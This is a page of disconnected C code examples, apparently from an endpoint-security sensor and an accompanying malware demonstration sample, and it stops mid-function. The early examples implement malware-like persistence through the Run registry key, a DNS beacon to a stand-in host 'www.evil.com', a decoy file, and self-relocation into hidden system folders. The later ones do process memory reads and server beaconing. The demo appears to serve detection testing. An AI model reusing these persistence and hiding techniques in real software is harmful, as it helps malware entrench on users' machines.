Example #1
0
static RVOID
    checkBootstrap
    (

    )
{
    HKEY hKeyRoot = HKEY_LOCAL_MACHINE;
    RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" );
    HKEY hKey = NULL;

    rpal_debug_info( "opening reg bootstrap key..." );
    if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) )
    {
        rpal_debug_info( "setting bootstrap key to current exe location..." );
        if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) )
        {
            rpal_debug_info( "successfully set bootstrap key!" );
        }
        else
        {
            rpal_debug_error( "error setting bootstrap key to current location." );
        }

        RegCloseKey( hKey );
    }
    else
    {
        rpal_debug_error( "error opening reg bootstrap key." );
    }
}
Example #2
0
static RVOID
    simulateBeacon
    (

    )
{
    RNCHAR dnsDll[] = _NC( "dnsapi.dll" );
    RCHAR dnsAPI[] = "DnsQuery_W";
    RNCHAR dns[] = _NC( "www.evil.com" );
    HMODULE hDns = NULL;
    DNS_STATUS (WINAPI *DnsQuery_f)( PCTSTR lpstrName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORD *ppQueryResultsSet, PVOID *pReserved );
    DNS_STATUS status = 0;
    PDNS_RECORDW unused = NULL;

    rpal_debug_info( "loading DnsApi..." );
    if( NULL != ( hDns = LoadLibraryW( dnsDll ) ) &&
        NULL != ( *(FARPROC*)&DnsQuery_f = GetProcAddress( hDns, dnsAPI ) ) )
    {
        rpal_debug_info( "sending DNS beacon to %s...", dns );
        if( ERROR_SUCCESS == ( status = DnsQuery_f( dns, DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &unused, NULL ) ) )
        {
            rpal_debug_info( "successfully sent a DNS beacon." );
        }
        else
        {
            rpal_debug_error( "error sending DNS beacon: %d.", status );
        }
    }
    else
    {
        rpal_debug_error( "error loading DnsApi." );
    }
}
Example #3
0
RU32
RPAL_EXPORT
RPAL_THREAD_FUNC
    rpHcpI_entry
    (
        rpHCPModuleContext* moduleContext
    )
{
    RU32 ret = (RU32)(-1);
    rThread hMain = 0;

    if( NULL != moduleContext )
    {
        g_Module_Context = moduleContext;

        if( rpal_initialize( moduleContext->rpalContext, g_current_Module_id ) )
        {
            ret = (RU32)(-2);

            if( 0 != ( hMain = rpal_thread_new( RpHcpI_mainThread, 
                                                g_Module_Context->isTimeToStop ) ) )
            {
                rpal_debug_info( "main module worker started" );
                ret = 0;

                while( TRUE )
                {
                    if( rpal_thread_wait( hMain, ( 1 * 1000 ) ) )
                    {
                        break;
                    }
                }
                
                rpal_debug_info( "main module worker finished" );

                rpal_thread_free( hMain );
            }
            else
            {
                rpal_debug_error( "failed spawning module main worker" );
            }

            rpal_Context_cleanup();

            rpal_Context_deinitialize();
        }
        else
        {
            rpal_debug_error( "failed IFace init" );
        }
    }

    return ret;
}
Example #4
0
static RVOID
    dropDecoyTextFile
    (

    )
{
    RWCHAR execVerb[] = _WCH( "open" );

    RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." );
    
    RWCHAR decoyPath[ MAX_PATH ] = {0};
    RU32 i = 0;

    // Generate new path for the decoy, same as current minus the .exe
    if( rpal_string_strcpy( decoyPath, g_self_path ) )
    {
        if( 4 < ( i = rpal_string_strlen( decoyPath ) ) )
        {
            decoyPath[ i - 4 ] = 0;

            if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) )
            {
                rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath );

                rpal_debug_info( "launching text file reader app..." );
                if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) )
                {
                    rpal_debug_info( "decoy successfully launched." );
                }
                else
                {
                    rpal_debug_error( "error launching decoy app." );
                }
            }
            else
            {
                rpal_debug_error( "error writing decoy file." );
            }
        }
        else
        {
            rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" );
        }
    }
}
Example #5
0
static RVOID
    relaunchInPermanentLocation
    (

    )
{
    RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) };
    RU32 i = 0;

    STARTUPINFOW startupInfo = {0};
    PROCESS_INFORMATION procInfo = {0};
    RPWCHAR expandedPath = NULL;

    for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ )
    {
        rpal_debug_info( "trying to move to bootstrap location %d...", i );
        rpal_file_delete( bootstrapLocations[ i ], FALSE );
        if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) )
        {
            rpal_debug_info( "successfully moved to bootstrap location!" );

            rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] );
            if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) &&
                0 != CreateProcessW( expandedPath, 
                                     NULL, 
                                     NULL, 
                                     NULL, 
                                     FALSE, 
                                     CREATE_NO_WINDOW, 
                                     NULL, 
                                     NULL, 
                                     &startupInfo, 
                                     &procInfo ) )
            {
                rpal_debug_info( "successfully launched from new location." );
            }
            else
            {
                rpal_debug_error( "error launching from permanent location: %d.", GetLastError() );
            }

            if( NULL != expandedPath )
            {
                rpal_memory_free( expandedPath );
            }

            break;
        }
        else
        {
            rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." );
        }
    }
}
RPRIVATE
RVOID
    mem_read
    (
        rpcm_tag eventType,
        rSequence event
    )
{
    RU32 pid;
    RU64 baseAddr;
    RU32 memSize;
    RPVOID mem;

    RPU8 atom = NULL;
    RU32 atomSize = 0;

    UNREFERENCED_PARAMETER( eventType );

    if( rpal_memory_isValid( event ) )
    {
        if( ( rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) ||
              ( rSequence_getBUFFER( event, RP_TAGS_HBS_THIS_ATOM, &atom, &atomSize ) &&
                HBS_ATOM_ID_SIZE == atomSize &&
                0 != ( pid = atoms_getPid( atom ) ) ) ) &&
            rSequence_getRU64( event, RP_TAGS_BASE_ADDRESS, &baseAddr ) &&
            rSequence_getRU32( event, RP_TAGS_MEMORY_SIZE, &memSize ) )
        {
            if( processLib_getProcessMemory( pid, (RPVOID)rpal_ULongToPtr( baseAddr ), memSize, &mem, TRUE ) )
            {
                rSequence_addBUFFER( event, RP_TAGS_MEMORY_DUMP, (RPU8)mem, memSize );
                rpal_memory_free( mem );
            }
            else
            {
                rSequence_addRU32( event, RP_TAGS_ERROR, rpal_error_getLast() );
                rpal_debug_error( "failed to get memory (base address = 0x%llx, size = 0x%x ) for pid 0x%x.", 
                                  baseAddr, 
                                  memSize, 
                                  pid );
            }
        }

        hbs_timestampEvent( event, 0 );
        hbs_publish( RP_TAGS_NOTIFICATION_MEM_READ_REP, event );
    }
}
Example #7
0
RPRIVATE_TESTABLE
RBOOL
    saveHcpId
    (
        RPNCHAR storePath,
        rpHCPIdentStore* ident,
        RPU8 token,
        RU32 tokenSize
    )
{
    RBOOL isSet = FALSE;
    rFile hStore = NULL;

    if( NULL != storePath &&
        NULL != ident &&
        NULL != token &&
        0 != tokenSize )
    {
        ident->enrollmentTokenSize = tokenSize;

        if( rFile_open( storePath, &hStore, RPAL_FILE_OPEN_ALWAYS | RPAL_FILE_OPEN_WRITE ) )
        {
            if( rFile_write( hStore, sizeof( *ident ), ident ) &&
                rFile_write( hStore, tokenSize, token ) )
            {
#if defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                chmod( storePath, S_IRUSR | S_IWUSR );
#endif
                isSet = TRUE;
            }

            rFile_close( hStore );
    }
        else
        {
            rpal_debug_warning( "could not write enrollment token to disk" );
        }
    }
    else
    {
        rpal_debug_error( "invalid ident info" );
    }

    return isSet;
}
static
ProcExtInfo*
    getProcContext
    (
        RPU8 atomId
    )
{
    ProcExtInfo* procInfo = NULL;
    RU32 index = 0;

    if( (RU32)-1 != ( index = rpal_binsearch_array( g_procContexts->elements,
                                                    g_procContexts->nElements,
                                                    sizeof( ProcExtInfo* ),
                                                    &atomId,
                                                    (rpal_ordering_func)_cmpContext ) ) )
    {
        procInfo = g_procContexts->elements[ index ];
    }
    else
    {
        if( NULL != ( procInfo = rpal_memory_alloc( sizeof( *procInfo ) ) ) )
        {
            rpal_memory_memcpy( procInfo->atomId, atomId, sizeof( procInfo->atomId ) );

            if( !rpal_vector_add( g_procContexts, procInfo ) )
            {
                rpal_memory_free( procInfo );
                rpal_debug_error( "error adding new process to history" );
                procInfo = NULL;
            }
            else
            {
                rpal_sort_array( g_procContexts->elements, 
                                 g_procContexts->nElements, 
                                 sizeof( ProcExtInfo* ), 
                                 (rpal_ordering_func)_cmpContext );
            }
        }
    }

    return procInfo;
}
static
RVOID
    processNewProcesses
    (
        rpcm_tag notifType,
        rSequence event
    )
{
    ProcExtInfo* ctx = NULL;
    RPNCHAR path = NULL;
    RPU8 atomId = NULL;

    UNREFERENCED_PARAMETER( notifType );

    if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) &&
        HbsGetThisAtom( event, &atomId ) )
    {
        path = rpal_string_strdup( path );

        if( NULL != path &&
            rMutex_lock( g_mutex ) )
        {
            if( NULL != ctx ||
                NULL != ( ctx = getProcContext( atomId ) ) )
            {
                rpal_memory_free( ctx->processPath );
                ctx->processPath = path;
                path = NULL;
            }
            else
            {
                rpal_debug_error( "error getting process context" );
            }

            rMutex_unlock( g_mutex );
        }

        rpal_memory_free( path );
    }
}
RPRIVATE
RVOID
    mem_find_handle
    (
        rpcm_tag eventType,
        rSequence event
    )
{
    RPNCHAR needle = NULL;
    rList handleList;

    UNREFERENCED_PARAMETER( eventType );

    if( rpal_memory_isValid( event ) )
    {
        if( rSequence_getSTRINGN( event, RP_TAGS_HANDLE_NAME, &needle ) )
        {
            rSequence_unTaintRead( event );

            if( NULL != ( handleList = processLib_getHandles( 0, TRUE, needle ) ) )
            {
                if( !rSequence_addLIST( event, RP_TAGS_HANDLES, handleList ) )
                {
                    rList_free( handleList );
                }
            }
            else
            {
                rSequence_addRU32( event, RP_TAGS_ERROR, rpal_error_getLast() );
                rpal_debug_error( "failed to get handles for pid 0x%x.", 0 );
            }
        }

        hbs_timestampEvent( event, 0 );
        hbs_publish( RP_TAGS_NOTIFICATION_MEM_FIND_HANDLE_REP, event );
    }
}
Example #11
0
//=============================================================================
//  Entry Point
//=============================================================================
RU32
RPAL_THREAD_FUNC
    RpHcpI_mainThread
    (
        rEvent isTimeToStop
    )
{
    RU32 ret = 0;

    RU64 nextBeaconTime = 0;

    rList cloudMessages = NULL;
    rSequence msg = NULL;
    rList newConfigurations = NULL;
    rList newNotifications = NULL;
    RPU8 newConfigurationHash = NULL;
    RU32 newHashSize = 0;
    rSequence staticConfig = NULL;
    RU8* tmpBuffer = NULL;
    RU32 tmpSize = 0;

    FORCE_LINK_THAT( HCP_IFACE );

    CryptoLib_init();

    getPrivileges();

    // This is the event for the collectors, it is different than the
    // hbs proper event so that we can restart the collectors without
    // signaling hbs as a whole.
    if( NULL == ( g_hbs_state.isTimeToStop = rEvent_create( TRUE ) ) )
    {
        return (RU32)-1;
    }

    // By default, no collectors are running
    rEvent_set( g_hbs_state.isTimeToStop );

    // We attempt to load some initial config from the serialized
    // rSequence that can be patched in this binary.
    if( NULL != ( staticConfig = getStaticConfig() ) )
    {
        if( rSequence_getBUFFER( staticConfig, RP_TAGS_HBS_ROOT_PUBLIC_KEY, &tmpBuffer, &tmpSize ) )
        {
            hbs_cloud_pub_key = rpal_memory_duplicate( tmpBuffer, tmpSize );
            if( NULL == hbs_cloud_pub_key )
            {
                hbs_cloud_pub_key = hbs_cloud_default_pub_key;
            }
            rpal_debug_info( "loading hbs root public key from static config" );
        }

        if( rSequence_getRU32( staticConfig, RP_TAGS_MAX_QUEUE_SIZE, &g_hbs_state.maxQueueNum ) )
        {
            rpal_debug_info( "loading max queue size from static config" );
        }
        else
        {
            g_hbs_state.maxQueueNum = HBS_EXFIL_QUEUE_MAX_NUM;
        }

        if( rSequence_getRU32( staticConfig, RP_TAGS_MAX_SIZE, &g_hbs_state.maxQueueSize ) )
        {
            rpal_debug_info( "loading max queue num from static config" );
        }
        else
        {
            g_hbs_state.maxQueueSize = HBS_EXFIL_QUEUE_MAX_SIZE;
        }

        rSequence_free( staticConfig );
    }
    else
    {
        hbs_cloud_pub_key = hbs_cloud_default_pub_key;
        g_hbs_state.maxQueueNum = HBS_EXFIL_QUEUE_MAX_NUM;
        g_hbs_state.maxQueueSize = HBS_EXFIL_QUEUE_MAX_SIZE;
    }

    if( !rQueue_create( &g_hbs_state.outQueue, freeExfilEvent, g_hbs_state.maxQueueNum ) )
    {
        rEvent_free( g_hbs_state.isTimeToStop );
        return (RU32)-1;
    }

    // We simply enqueue a message to let the cloud know we're starting
    sendStartupEvent();

    while( !rEvent_wait( isTimeToStop, (RU32)nextBeaconTime ) )
    {
        nextBeaconTime = MSEC_FROM_SEC( HBS_DEFAULT_BEACON_TIMEOUT + 
                         ( rpal_rand() % HBS_DEFAULT_BEACON_TIMEOUT_FUZZ ) );

        if( NULL != ( cloudMessages = beaconHome() ) )
        {
            while( rList_getSEQUENCE( cloudMessages, RP_TAGS_MESSAGE, &msg ) )
            {
                // Cloud message indicating next requested beacon time, as a Seconds delta
                if( rSequence_getTIMEDELTA( msg, RP_TAGS_TIMEDELTA, &nextBeaconTime ) )
                {
                    nextBeaconTime = MSEC_FROM_SEC( nextBeaconTime );
                    rpal_debug_info( "received set_next_beacon" );
                }

                if( NULL == newConfigurations &&
                    rSequence_getLIST( msg, RP_TAGS_HBS_CONFIGURATIONS, &newConfigurations ) )
                {
                    rpal_debug_info( "received a new profile" );

                    if( rSequence_getBUFFER( msg, RP_TAGS_HASH, &newConfigurationHash, &newHashSize ) &&
                        newHashSize == CRYPTOLIB_HASH_SIZE )
                    {
                        newConfigurations = rList_duplicate( newConfigurations );
                        rpal_memory_memcpy( &( g_hbs_state.currentConfigHash ), 
                                            newConfigurationHash, 
                                            CRYPTOLIB_HASH_SIZE );
                        g_hbs_state.isProfilePresent = TRUE;
                    }
                    else
                    {
                        newConfigurations = NULL;
                        rpal_debug_error( "profile hash received is invalid" );
                    }
                }

                if( NULL == newNotifications &&
                    rSequence_getLIST( msg, RP_TAGS_HBS_CLOUD_NOTIFICATIONS, &newNotifications ) )
                {
                    rpal_debug_info( "received cloud events" );
                    newNotifications = rList_duplicate( newNotifications );
                }
            }

            rList_free( cloudMessages );
        }

        // If this is the initial boot and we have no profile yet, we'll load a dummy
        // blank profile and use our defaults.
        if( NULL == newConfigurations &&
            !g_hbs_state.isProfilePresent &&
            !rEvent_wait( isTimeToStop, 0 ) )
        {
            newConfigurations = rList_new( RP_TAGS_HCP_MODULES, RPCM_SEQUENCE );
            rpal_debug_info( "setting empty profile" );
        }

        if( NULL != newConfigurations )
        {
            // We try to be as responsive as possible when asked to quit
            // so if we happen to have received the signal during a beacon
            // we will action the quit instead of the config change.
            if( !rEvent_wait( isTimeToStop, 0 ) )
            {
                rpal_debug_info( "begining sensor update on new profile" );
                shutdownCollectors();

                updateCollectorConfigs( newConfigurations );
                rList_free( newConfigurations );
                newConfigurations = NULL;

                startCollectors();
            }
            else
            {
                rList_free( newConfigurations );
            }

            newConfigurations = NULL;
        }

        if( NULL != newNotifications )
        {
            if( !rEvent_wait( isTimeToStop, 0 ) )
            {
                publishCloudNotifications( newNotifications );
            }

            rList_free( newNotifications );

            newNotifications = NULL;
        }
    }

    // We issue one last beacon indicating we are stopping
    sendShutdownEvent();

    // Shutdown everything
    shutdownCollectors();

    // Cleanup the last few resources
    rEvent_free( g_hbs_state.isTimeToStop );
    rQueue_free( g_hbs_state.outQueue );

    CryptoLib_deinit();

    if( hbs_cloud_default_pub_key != hbs_cloud_pub_key &&
        NULL != hbs_cloud_pub_key )
    {
        rpal_memory_free( hbs_cloud_pub_key );
        hbs_cloud_pub_key = NULL;
    }

    return ret;
}
Example #12
0
static RVOID
    publishCloudNotifications
    (
        rList notifications
    )
{
    rSequence notif = NULL;
    RPU8 buff = NULL;
    RU32 buffSize = 0;
    RPU8 sig = NULL;
    RU32 sigSize = 0;
    rpHCPId curId = { 0 };
    rSequence cloudEvent = NULL;
    rSequence targetId = { 0 };
    RU32 eventId = 0;
    rSequence localEvent = NULL;
    RU64 expiry = 0;
    rpHCPId tmpId = { 0 };
    rSequence receipt = NULL;

    while( rList_getSEQUENCE( notifications, RP_TAGS_HBS_CLOUD_NOTIFICATION, &notif ) )
    {
        cloudEvent = NULL;

        if( rSequence_getBUFFER( notif, RP_TAGS_BINARY, &buff, &buffSize ) &&
            rSequence_getBUFFER( notif, RP_TAGS_SIGNATURE, &sig, &sigSize ) )
        {
            if( CryptoLib_verify( buff, buffSize, hbs_cloud_pub_key, sig ) )
            {
                if( !rpHcpI_getId( &curId ) )
                {
                    rpal_debug_error( "error getting current id for cloud notifications." );
                }
                else
                {
                    if( !rSequence_deserialise( &cloudEvent, buff, buffSize, NULL ) )
                    {
                        cloudEvent = NULL;
                        rpal_debug_warning( "error deserializing cloud event." );
                    }
                }
            }
            else
            {
                rpal_debug_warning( "cloud event signature invalid." );
            }
        }

        if( rpal_memory_isValid( cloudEvent ) )
        {
            if( rSequence_getSEQUENCE( cloudEvent, RP_TAGS_HCP_ID, &targetId ) &&
                rSequence_getRU32( cloudEvent, RP_TAGS_HBS_NOTIFICATION_ID, &eventId ) &&
                rSequence_getSEQUENCE( cloudEvent, RP_TAGS_HBS_NOTIFICATION, &localEvent ) )
            {
                rSequence_getTIMESTAMP( cloudEvent, RP_TAGS_EXPIRY, &expiry );

                tmpId = rpHcpI_seqToHcpId( targetId );

                curId.id.configId = 0;
                tmpId.id.configId = 0;
                
                if( NULL != ( receipt = rSequence_new() ) )
                {
                    if( rSequence_addSEQUENCE( receipt, 
                                               RP_TAGS_HBS_CLOUD_NOTIFICATION, 
                                               rSequence_duplicate( cloudEvent ) ) )
                    {
                        if( !rQueue_add( g_hbs_state.outQueue, receipt, 0 ) )
                        {
                            rSequence_free( receipt );
                            receipt = NULL;
                        }
                    }
                    else
                    {
                        rSequence_free( receipt );
                        receipt = NULL;
                    }
                }

                if( curId.raw == tmpId.raw &&
                    rpal_time_getGlobal() <= expiry )
                {
                    if( !notifications_publish( eventId, localEvent ) )
                    {
                        rpal_debug_error( "error publishing event from cloud." );
                    }
                }
                else
                {
                    rpal_debug_warning( "event expired or for wrong id." );
                }
            }

            if( rpal_memory_isValid( cloudEvent ) )
            {
                rSequence_free( cloudEvent );
                cloudEvent = NULL;
            }
        }
    }
}
Example #13
0
static
RBOOL
    postHttp
    (
        RPCHAR location,
        RPCHAR params,
        RBOOL isEnforceCert,
        RPVOID* receivedData,
        RU32* receivedSize
    )
{
    RBOOL isSuccess = FALSE;
    CURL* curlCtx = NULL;
    RU32 timeout = ( 1000 * 10 );
    RCHAR userAgent[] = "rpHCP";
    rBlob dataReceived = NULL;
    RBOOL isDataReturned = FALSE;
    CURLcode curlError = CURLE_OK;
    
    if( NULL != location )
    {
        if( NULL != ( dataReceived = rpal_blob_create( 0, 0 ) ) )
        {
            if( NULL != ( curlCtx = curl_easy_init() ) )
            {
                rpal_debug_info( "posting to %s", location );
                
                if( CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_URL, location ) ) &&
                    CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_USERAGENT, userAgent ) ) &&
                    CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_POSTFIELDS, params ) ) &&
                    CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_WRITEFUNCTION, (RPVOID)_curlToBuffer ) ) &&
                    CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_WRITEDATA, (RPVOID)dataReceived ) ) &&
                    CURLE_OK == ( curlError = curl_easy_setopt( curlCtx, CURLOPT_NOSIGNAL, 1 ) ) )
                {
                    if( CURLE_OK == ( curlError = curl_easy_perform( curlCtx ) ) )
                    {
                        isSuccess = TRUE;
                        
                        if( NULL != receivedData )
                        {
                            *receivedData = rpal_blob_getBuffer( dataReceived );
                            isDataReturned = TRUE;
                        }
                        if( NULL != receivedSize )
                        {
                            *receivedSize = rpal_blob_getSize( dataReceived );
                        }
                    }
                    else
                    {
                        rpal_debug_warning( "error performing post: %d", curlError );
                    }
                }
                else
                {
                    rpal_debug_error( "error setting curl options: %d", curlError );
                }
                
                curl_easy_cleanup( curlCtx );
            }
            else
            {
                rpal_debug_error( "error creating curl context" );
            }
            
            if( !isDataReturned )
            {
                rpal_blob_free( dataReceived );
            }
            else
            {
                rpal_blob_freeWrapperOnly( dataReceived );
            }
        }
    }
    
    return isSuccess;
}
Example #14
0
static
rList
    assembleRequest
    (
        RPU8 optCrashCtx,
        RU32 optCrashCtxSize
    )
{
    rSequence req = NULL;
    RU32 moduleIndex = 0;
    rList msgList = NULL;
    rList modList = NULL;
    rSequence modEntry = NULL;

    if( NULL != ( req = rSequence_new() ) )
    {
        // Add some basic info
        rSequence_addRU32( req, RP_TAGS_MEMORY_USAGE, rpal_memory_totalUsed() );
        rSequence_addTIMESTAMP( req, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() );

        // If we have a crash context to report
        if( NULL != optCrashCtx )
        {
            if( !rSequence_addBUFFER( req, RP_TAGS_HCP_CRASH_CONTEXT, optCrashCtx, optCrashCtxSize ) )
            {
                rpal_debug_error( "error adding crash context of size %d to hcp beacon", optCrashCtxSize );
            }
            else
            {
                rpal_debug_info( "crash context is being bundled in hcp beacon" );
            }
        }

        // List of loaded modules
        if( NULL != ( modList = rList_new( RP_TAGS_HCP_MODULE, RPCM_SEQUENCE ) ) )
        {
            for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ )
            {
                if( NULL != g_hcpContext.modules[ moduleIndex ].hModule )
                {
                    if( NULL != ( modEntry = rSequence_new() ) )
                    {
                        if( !rSequence_addBUFFER( modEntry, 
                                                    RP_TAGS_HASH, 
                                                    g_hcpContext.modules[ moduleIndex ].hash, 
                                                    sizeof( g_hcpContext.modules[ moduleIndex ].hash ) ) ||
                            !rSequence_addRU8( modEntry, 
                                                RP_TAGS_HCP_MODULE_ID, 
                                                g_hcpContext.modules[ moduleIndex ].id ) ||
                            !rList_addSEQUENCE( modList, modEntry ) )
                        {
                            break;
                        }

                        // We take the opportunity to cleanup the list of modules...
                        if( rpal_thread_wait( g_hcpContext.modules[ moduleIndex ].hThread, 0 ) )
                        {
                            // This thread has exited, which is our signal that the module
                            // has stopped executing...
                            rEvent_free( g_hcpContext.modules[ moduleIndex ].isTimeToStop );
                            rpal_thread_free( g_hcpContext.modules[ moduleIndex ].hThread );
                            rpal_memory_zero( &(g_hcpContext.modules[ moduleIndex ]),
                                              sizeof( g_hcpContext.modules[ moduleIndex ] ) );

                            if( !rSequence_addRU8( modEntry, RP_TAGS_HCP_MODULE_TERMINATED, 1 ) )
                            {
                                break;
                            }
                        }
                    }
                }
            }

            if( !rSequence_addLIST( req, RP_TAGS_HCP_MODULES, modList ) )
            {
                rList_free( modList );
            }
        }

        if( NULL != ( msgList = rList_new( RP_TAGS_MESSAGE, RPCM_SEQUENCE ) ) )
        {
            if( !rList_addSEQUENCE( msgList, req ) )
            {
                rList_free( msgList );
                rSequence_free( req );
                msgList = NULL;
            }
        }
        else
        {
            rSequence_free( req );
        }
    }

    return msgList;
}
Example #15
0
RBOOL
    doBeacon
    (
        RpHcp_ModuleId sourceModuleId,
        rList toSend,
        rList* pReceived
    )
{
    RBOOL isSuccess = FALSE;

    RPU8 receivedData = NULL;
    RU32 receivedSize = 0;

    RPU8 encodedData = NULL;

    RPU8 rawPayloadBuff = NULL;
    RU32 rawPayloadSize = 0;
    
    RU32 zError = 0;
    
    RPU8 signature = NULL;
    RPU8 payloadBuff = NULL;
    RU32 payloadSize = 0;

    RU8 sessionKey[ CRYPTOLIB_SYM_KEY_SIZE ] = {0};
    RU8 sessionIv[ CRYPTOLIB_SYM_IV_SIZE ] = {0};

    rString payloadToSend = NULL;

    RU32 decryptedSize = 0;

    RPU8 tmpBuff = NULL;
    RU64 tmpSize = 0;

    OBFUSCATIONLIB_DECLARE( url1, RP_HCP_CONFIG_HOME_URL_PRIMARY );
    OBFUSCATIONLIB_DECLARE( url2, RP_HCP_CONFIG_HOME_URL_SECONDARY );

    RPCHAR effectivePrimary = (RPCHAR)url1;
    RPCHAR effectiveSecondary = (RPCHAR)url2;

    rpal_debug_info( "called by module %d.", sourceModuleId );

    // Pre-generate the session key and iv we want for the session
    CryptoLib_genRandomBytes( sessionKey, sizeof( sessionKey ) );
    CryptoLib_genRandomBytes( sessionIv, sizeof( sessionIv ) );

    // Assemble the stream to send
    payloadToSend = assembleOutboundStream( sourceModuleId, toSend, sessionKey, sessionIv );

    if( NULL != payloadToSend )
    {
        // Send the beacon
        if( NULL == g_hcpContext.primaryUrl )
        {
            OBFUSCATIONLIB_TOGGLE( url1 );
            OBFUSCATIONLIB_TOGGLE( url2 );
        }
        else
        {
            effectivePrimary = g_hcpContext.primaryUrl;
            effectiveSecondary = g_hcpContext.secondaryUrl;
        }

        if( postHttp( effectivePrimary, 
                      rpal_stringbuffer_getString( payloadToSend ), 
                      FALSE, 
                      (RPVOID*)&receivedData, 
                      &receivedSize ) )
        {
            isSuccess = TRUE;
        }
        else if( postHttp( effectiveSecondary, 
                            rpal_stringbuffer_getString( payloadToSend ), 
                            FALSE, 
                            (RPVOID*)&receivedData, 
                            &receivedSize ) )
        {
            isSuccess = TRUE;
            rpal_debug_info( "beacon using secondary home." );
        }
        else
        {
            rpal_debug_warning( "could not contact server." );
        }

        if( NULL == g_hcpContext.primaryUrl )
        {
            OBFUSCATIONLIB_TOGGLE( url1 );
            OBFUSCATIONLIB_TOGGLE( url2 );
        }

        if( isSuccess )
        {
            isSuccess = FALSE;

            if( NULL != receivedData &&
                0 != receivedSize )
            {
                if( NULL != pReceived )
                {
                    *pReceived = NULL;

                    // Process the data received
                    encodedData = findAndCapEncodedDataInBeacon( receivedData, receivedSize );

                    if( NULL != encodedData )
                    {
                        if( stripBeaconEncoding( (RPCHAR)encodedData, &rawPayloadBuff, &rawPayloadSize ) )
                        {
                            if( rawPayloadSize >= CRYPTOLIB_SIGNATURE_SIZE )
                            {
                                // Verify signature
                                signature = rawPayloadBuff;
                                payloadBuff = signature + CRYPTOLIB_SIGNATURE_SIZE;
                                payloadSize = rawPayloadSize - CRYPTOLIB_SIGNATURE_SIZE;

                                if( verifyC2Signature( payloadBuff, payloadSize, signature ) )
                                {
                                    // Remove the symetric crypto using the session key
                                    if( CryptoLib_symDecrypt( payloadBuff, payloadSize, sessionKey, sessionIv, &decryptedSize ) )
                                    {
                                        // Remove the compression                        
                                        tmpSize = rpal_ntoh32( *(RU32*)payloadBuff );

                                        if( 0 != tmpSize &&
                                                (-1) != tmpSize )
                                        {
                                            tmpBuff = rpal_memory_alloc( (RSIZET)tmpSize );

                                            if( rpal_memory_isValid( tmpBuff ) )
                                            {
                                                if( Z_OK == ( zError = uncompress( tmpBuff, 
                                                                (uLongf*)&tmpSize, 
                                                                payloadBuff + sizeof( RU32 ), 
                                                                payloadSize - sizeof( RU32 ) ) ) )
                                                {
                                                    // Payload is valid, turn it into a sequence to return
                                                    if( rList_deserialise( pReceived, tmpBuff, (RU32)tmpSize, NULL ) )
                                                    {
                                                        rpal_debug_info( "success." );
                                                        isSuccess = TRUE;
                                                    }
                                                    else
                                                    {
                                                        rpal_debug_error( "could not deserialise list." );
                                                    }
                                                }
                                                else
                                                {
                                                    rpal_debug_error( "could not decompress received data: %d (%d bytes).", zError, payloadSize );
                                                }

                                                rpal_memory_free( tmpBuff );
                                            }
                                            else
                                            {
                                                rpal_debug_error( "could not allocate memory for data received, asking for: %d.", tmpSize );
                                            }
                                        }
                                        else
                                        {
                                            rpal_debug_error( "invalid size field in decrypted data." );
                                        }
                                    }
                                    else
                                    {
                                        rpal_debug_error( "failed to decrypt received data." );
                                    }
                                }
                                else
                                {
                                    rpal_debug_error( "signature verification failed." );
                                }
                            }
                            else
                            {
                                rpal_debug_error( "stripped payload failed sanity check." );
                            }
                            
                            rpal_memory_free( rawPayloadBuff );
                        }
                        else
                        {
                            rpal_debug_error( "could not strip BASE64 encoding." );
                        }
                    }
                    else
                    {
                        rpal_debug_error( "could not find the encoded data." );
                    }
                }
                else
                {
                    rpal_debug_info( "not interested in the returned data." );
                    isSuccess = TRUE;
                }

                FREE_AND_NULL( receivedData );
                receivedSize = 0;
            }
            else
            {
                rpal_debug_warning( "no data received from the server." );
                isSuccess = FALSE;
            }
        }

        rpal_stringbuffer_free( payloadToSend );
    }
    else
    {
        rpal_debug_error( "failed to generate payload for beacon." );
    }

    return isSuccess;
}
Example #16
0
static
RU32
    uninstallService
    (

    )
{
    RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" );
    SC_HANDLE hScm = NULL;
    SC_HANDLE hSvc = NULL;
    RWCHAR svcName[] = { _SERVICE_NAMEW };
    SERVICE_STATUS svcStatus = { 0 };
    RU32 nRetries = 10;

